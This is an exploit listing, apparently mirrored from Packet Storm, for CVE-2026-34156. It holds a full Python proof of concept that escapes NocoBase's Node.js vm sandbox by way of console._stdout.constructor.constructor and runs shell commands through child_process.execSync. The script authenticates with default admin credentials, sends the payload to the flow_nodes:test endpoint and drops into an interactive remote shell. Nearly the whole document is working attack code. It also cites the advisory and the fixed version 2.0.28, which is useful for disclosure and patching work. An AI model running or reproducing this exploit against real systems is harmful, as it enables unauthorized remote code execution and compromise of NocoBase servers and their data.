Share
## https://sploitus.com/exploit?id=PACKETSTORM:218487
# Exploit Title: NocoBase <= 2.0.27 - Sandbox Escape to Remote Code Execution
# Date: 2026-04-07
# Exploit Author: Franck Boumendil
# Vendor Homepage: https://www.nocobase.com
# Software Link: https://github.com/nocobase/nocobase
# Version: <= 2.0.27
# Tested on: Linux (Docker)
# CVE: CVE-2026-34156
# GitHub: https://github.com/franckboumendil/CVE-2026-34156
#!/usr/bin/env python3
"""
CVE-2026-34156 - NocoBase Sandbox Escape to RCE
Prototype chain traversal via console._stdout in Node.js vm sandbox
Affected : <= 2.0.27
Fixed : 2.0.28
CVSS : 9.9 Critical (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Advisory : https://github.com/advisories/GHSA-px3p-vgh9-m57c
"""
import requests
import argparse
import sys
requests.packages.urllib3.disable_warnings()
BANNER = """
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ CVE-2026-34156 โ NocoBase RCE PoC โ
โ Sandbox Escape via console._stdout prototype chain โ
โ Affected: <= 2.0.27 | Fixed: 2.0.28 โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
"""
def build_payload(cmd):
return (
"const Fn=console._stdout.constructor.constructor;"
"const proc=Fn('return process')();"
"const cp=proc.mainModule.require('child_process');"
f"return cp.execSync('{cmd}',{{shell:'/bin/sh'}}).toString().trim();"
)
def login(target, username, password):
url = f"{target}/api/auth:signIn"
try:
r = requests.post(
url,
json={"account": username, "password": password},
timeout=10,
verify=False
)
token = r.json().get("data", {}).get("token")
if token:
print(f"[+] Authentication successful โ JWT: {token[:50]}...")
return token
print(f"[-] Authentication failed: {r.text}")
sys.exit(1)
except Exception as e:
print(f"[-] Connection error: {e}")
sys.exit(1)
def exploit_cmd(target, token, cmd):
url = f"{target}/api/flow_nodes:test"
headers = {
"Content-Type": "application/json",
"Authorization": f"Bearer {token}"
}
data = {
"type": "script",
"config": {
"content": build_payload(cmd),
"timeout": 5000,
"arguments": []
}
}
try:
r = requests.post(url, json=data, headers=headers, timeout=15, verify=False)
result = r.json().get("data", {}).get("result", "")
if result:
print(f"\n[+] Output:\n{'-'*40}\n{result}\n{'-'*40}")
else:
print(f"[-] No result: {r.text}")
except Exception as e:
print(f"[-] Error: {e}")
def interactive_shell(target, token):
print("\n[*] Interactive shell mode (type 'exit' to quit)\n")
while True:
try:
cmd = input("shell> ").strip()
if cmd.lower() in ("exit", "quit"):
break
if not cmd:
continue
exploit_cmd(target, token, cmd)
except KeyboardInterrupt:
print("\n[*] Interrupted")
break
def main():
print(BANNER)
parser = argparse.ArgumentParser(
description="CVE-2026-34156 โ NocoBase RCE via sandbox escape"
)
parser.add_argument("-t", "--target", required=True,
help="Target URL (e.g. http://localhost:3000)")
parser.add_argument("-u", "--username", default="admin@nocobase.com",
help="Username (default: admin@nocobase.com)")
parser.add_argument("-p", "--password", default="admin123",
help="Password (default: admin123)")
parser.add_argument("-c", "--cmd",
help="Single command to execute")
args = parser.parse_args()
print(f"[*] Target : {args.target}")
print(f"[*] Username : {args.username}")
token = login(args.target, args.username, args.password)
print("\n[*] Checking RCE...")
exploit_cmd(args.target, token, "id")
if args.cmd:
exploit_cmd(args.target, token, args.cmd)
else:
interactive_shell(args.target, token)
if __name__ == "__main__":
main()